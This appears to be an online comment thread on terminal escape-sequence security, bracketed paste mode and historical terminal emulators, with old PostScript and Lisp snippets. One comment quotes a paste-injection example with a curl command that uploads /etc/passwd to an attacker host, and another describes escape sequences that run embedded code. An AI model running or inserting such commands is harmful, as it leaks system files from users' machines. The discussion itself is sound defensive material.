No source code or familiarity with using LD_ tricks? use python wrapper around program and script python for appropriate mods before passing along to window.
Wonder if this was one reason for Sun Solaris NeWS (post script based vs, text based window manager)
Perhaps use python from command line with gui extensions and no ansi escape sequence support as window manger.
Run terminal window without ansi escape seqence support. Better coverage if done with ebpf filter at the OS level.
Further, there's nothing special about escapes. Their "feature" is that they're just text, part of the normal stream of bytes. Anything can be an escape if it's interpreted as such by whatever is consuming the stream.
note: Additional technical information context/solution provided for answer is a bit beyond the typical response required for question.
OS has better control/access to user set of i/o streams.
Not the most efficient/convenient way, but ebpf can be setup to detect 'escape text patterns' and filter by user/xwindows widgets/aspect of program such as title. Would be a pain, because of need to deal with inband/non-cannonical characters (ctrl-D & EOF being majority of live stream problem)
Sticking to 'title change' is a non-continuous stream aka for this talk, first non-connonical character closes the stream, aka no distinction between Form Feed / Line Feed or ctrl-D.
Simple user land way would be to redirect terminal to sed /awk script to identify 'title' command, strip out the 'security sequence issues' before passing along i/o to what ever is going to do the 'window with title to change'.
OS, windows manager, initial login shell and process initiating the window who's title are to be changed are parent processes with io points that can be redirect with the aforemention script.
in-band control for terminals also allows for redirecting to remote machines via programs like telenet without the need for ssh! (for security, would need to do a few other things too) 1st process to
Using loopback device/socket instead of named/anonymous pipe redirection will allow for raw/non-cannonical input (control done out of band) -- assuming the filter program (other than standard user shell) setup to handle/pass along raw/cannonical input/output.
Sort fun way to customize 'rm -rf' with a pop-up check question 'Are you really sure you want remove everything' and terminate the command if unintentional (and/or keep tabs on what removed by running find command / mail list).
further search terms: stty, tty, raw, cooked, canonical, non-cannonical
For this topic, perhaps confirm with user if really wanted to allow (escape sequence), retry(filter out ansi sequence), aboard(skip it). Or just log attempt for review/action later.
After all, terminal emulators do exactly this. And it's easy to spot the ones that use state machines instead of regex string matching (which, alas, a few do). The string matchers have had loads of bugs and problems over the years handling unknown but correctly formed control sequences, which the state machine implementations just swallow and ignore with ease.
I also think that if someone (including, of course, the bumbling fool known as myself) ran something on my terminal I'm already toast even before the terminal misbehaves - because most sandboxes/mandatory access control systems are either a complete joke or disabled most of the time.
I assume it is possible to ingest a stream of terminal data much faster than rendering it (obviously keeping track of what is needed to render). Then the render loop can happen independently at a certain framerate, like a game engine. It is quite frustrating when a verbose 'cat' or 'find' slows my terminal emulator to a crawl drawing each line.
(edit: it just occurred to me that maybe this would break scroll-back in the terminal emulator... hmm)
In general you're better off using a terminal that performs better, because extra buffering would be annoying the other way around in the usual throughput/latency tradeoff (you'd press ^C and then it would continue to display what's in its buffer to you, rather than reacting quickly).
What mosh brings is decoupling the rendering across the network. A lot of the poor perceived performance over high-latency links happens because ssh puts your terminal into raw mode, so even if the line is being echoed back, that is going all the way to the remote system and back again.
It's actually possible to fix line editing in ssh, without using something like mosh, see for example https://github.com/hyc/OpenSSH-LINEMODE. It's a shame OpenSSH hasn't merged something like those (now quite old) patches.
Someone (I don't remember who did what here) discovered that they could get `SHOW SYSTEM` (roughly analogous to unix `ps` command) to display their name in reverse video by adding escape sequences to their process name. So a bunch of us started experimenting to see what else we could embed in there.
Most of the terminals attached to the VAX were Zenith Z-19s, which mostly emulated DEC VT-52s but with some added features. One of those added features was an enablable 25th line (in addition to the regular 24x80 display) that functioned as a sort of status line. We found we could enable that, write something into it, then use the "transmit 25th line" escape sequence to send its contents back to the VAX. I remember having to work around limitations like it sending an escape sequence before the 25th line (which confused VMS), and I think it didn't send a carriage return at the end... or something like that.
I don't think we ever got it to do anything terribly interesting, but it was fun to play with. And then IIRC a VMS update blocked control characters in the `SHOW SYSTEM` listing.
https://donhopkins.com/home/code/term.ps.txt
It also supported the <ESC>#8 "fill screen with E" test sequence, just so it could pass VTTest, plus a few extra Sun and AAA sequences that my slave driving boss Hugh Daniel demanded (since he was from Ann Arbor). Yes, a company actually called "Wedge Computer, Inc." paid me to write it!
There are also some subtleties about missing numeric arguments that VTTest checks. My SoftTTY emulator would detect syntax errors in escape sequences, which implied you were trying to test it with VTtest, so then it would change the cursor to the shape of a hand giving you the finger (shape-error-cursor), and flash it 20 times, to flip Hugh off for subjecting my terminal emulator to VTTest.
https://en.wikipedia.org/wiki/Vttest
/ps-string-prefix {
/ps-string 256 string def
/ps-string-len 0 def
/termulate-char //termulate-ps-string def
} def
/termulate-ps-string {
dup 27 eq {
pop
reset-termulator
ps-string 0 ps-string-len getinterval cvx
{ exec } stopped pop
} {
ps-string ps-string-len 3 -1 roll put
/ps-string-len ps-string-len 1 add def
ps-string-len ps-string length eq {
/ps-string
ps-string-len dup add string
ps-string 1 index copy pop
def
} if
} ifelse
} def
https://donhopkins.com/home/archive/lisp/little-backwards-ch...
; Write dirty nodes to the NeWS server in PostScript, and mark them as
; clean.
(defun sweep ()
(clean-tree '*KB*))
(defun clean-tree (node)
(cond ((get node 'dirty)
(send-node node)
(putprop node nil 'dirty)))
(cond
((null (node-alist node)) nil)
(t (mapcar #'(lambda (link)
(clean-tree (link-node link)))
(node-alist node))
nil)))
(defun send-node (node)
(ps-make-node node (node-sexp node)
(node-associated-atom node)
(node-alist node)))
; Magic control characters the PostScript terminal emulator responds to.
(setq StartPS "^_") ; Ctrl-_: begin trojan horse
(setq EndPS "^]") ; Escape: end and execute trojan horse
; Write out a NeWS menu definition, with the right control characters to
; make the PostScript terminal program (SoftTTY) execute it.
(defun ps-make-node (name sexp associated-atom alist)
(msg "% Sending " name "...")
(msg StartPS "userdict /" name " [" N)
(msg " " (list 'Name= name) " {" (ncons name) " print}" N
" " (list 'Sexp= sexp) " {" (ncons sexp) " print}" N
" " (list 'Atom= (fact-name associated-atom))
" {" (ncons (fact-name associated-atom)) " print}" N)
(mapcar #'(lambda (link)
(msg " " link " /" (link-node link) " cvx" N))
alist)
(msg "] /new DefaultMenu send put" N)
(msg name " /Clockwise false put" N)
(cond ((eq name '*KB*) (msg "/ClientMenu *KB* def" N))) ; kludge
(msg EndPS N))
https://donhopkins.com/home/archive/NeWS/news-tape/utilities...
https://www.donhopkins.com/home/archive/lisp/mylisp/ollie
https://chat.openai.com/share/bd1e4fc6-c1c1-499f-aca5-12cbd9...
The intruder was able to log into the professor's Sun 3/60 workstation from mimsy thanks to his .rhosts file! Things were so much simpler those days.
; host mimsy
(make file ^name passwd ^writable yes ^owner root ^host mimsy)
(make user ^user root ^password unknown ^host mimsy)
(make user ^user casper ^password unknown ^host mimsy)
(make rhosts ^user casper ^host mimsy
^ruser casper ^rhost tycho)
(make user ^user hendler ^password unknown ^host mimsy)
(make rhosts ^user hendler ^host mimsy
^ruser hendler ^rhost dormouse)
; host dormouse
(make user ^user root ^password unknown ^host dormouse)
(make user ^user sysdiag ^password none ^host dormouse)
(make user ^user hendler ^password unknown ^host dormouse)
(make rhosts ^user hendler ^host dormouse
^ruser hendler ^rhost mimsy)Ideally there should be some way to cancel responses (echoback), which would avoid some of the problems; I am not sure if this can be done. Another thing I had considered is to make a "universal escape sequence" which is recognized anywhere including in the middle of something else. There are other considerations, too.
(I had considered writing a terminal emulator, and will have to consider this and other things.)
(I had also considered operating system design, where the command-line interface would work differently than this anyways.)
Python provided a more modern variation on the ansi escape sequence issues theme with multi-mapping UTF to single point ascii[0].
cue "more things change, more they stay the same" meme
[0] : http://godatadriven.com/blog/handling-encoding-issues-with-u...
It seems the author didn't look at the code because in VTE, bytes enter UTF-8 decoder first and therefore the parser is already dealing with 32-bit unichars.
I agree the only correct way C1 controls can work is encoded within UTF-8 data, else nothing works.
The context is escaping C0 control characters is simple, you look for a single byte and filter it as you need. C1 controls when not encoded as UTF-8 are also single byte characters and therefore easy to filter out. For multi-byte encodings, you need to correctly decode the encoding, then filter, this has synchronisation problems and is tricky[1] (particularly as a Unix byte stream doesn't tell you it's encoding, although you can assume if someone is trying to display it as text it is probably UTF-8 these days).
I should probably expand on that recommendation more, there's a lot in the paper, but the crux of the issue is C1 controls are a legacy thing and serve no useful purpose anymore and as I've shown there are enough issues just dealing with C0 controls.
If C1 controls are encoded as UTF-8 as is the only way they can work on a modern system, then they take up as many bytes as C0 controls (e.g. CSI is "\e[" or U+009B, which encoded as UTF-8 is 0xC2 0x9B) so they don't even save bytes on the wire.
[1]: see https://www.openwall.com/lists/oss-security/2015/09/20/1 and some replies to that.
> regular-text-is-herejj:! curl -F 'pw=@/etc/passwd' attacker.dev/upload.php
Edit: this does seem to imply that `jj` in insert mode would be disabled by enabling paste.
> mapping in Insert mode and Command-line mode is disabled
Seriously, it’s the only safe way to paste into a terminal. When you initiate a paste your terminal emulator sends a control sequence that tells the program that a paste is happening so that it won’t interpret any of it as anything but text to be inserted. It’s completely automatic. And your terminal emulator supports it! So does vim!
It’s only be available in xterm for 21 or so years, so I guess it’s not _that_ surprising to find that people still don’t know about it.
Bracketed paste mode is good and ideally it just works(tm) and therefore people don't need to know about it. It does just work in recent versions bash (readline) and Zsh.
Unfortunately there is still poor handling of it in some terminals. I posted[1] yesterday on oss-security that ^C for example can be placed on the clipboard and may end bracketed paste mode in some circumstances.
For xterm that can be mitigated by adding "ETX" to disallowedPasteControls[2]:
disallowedPasteControls: BS,DEL,ENQ,EOT,ETX,ESC,NUL
[1]: https://www.openwall.com/lists/oss-security/2023/10/20/2 [2]: https://www.openwall.com/lists/oss-security/2023/10/20/4 [3]: https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd13...
At least that doesn’t work inside of a proper editor.
Terminal emulators are a relic. Shells should back on to simpler modern toolkits, that separates UI from shell I/O.
I'm aware of the irony of an Emacs user calling for the disuse of relic tools. :)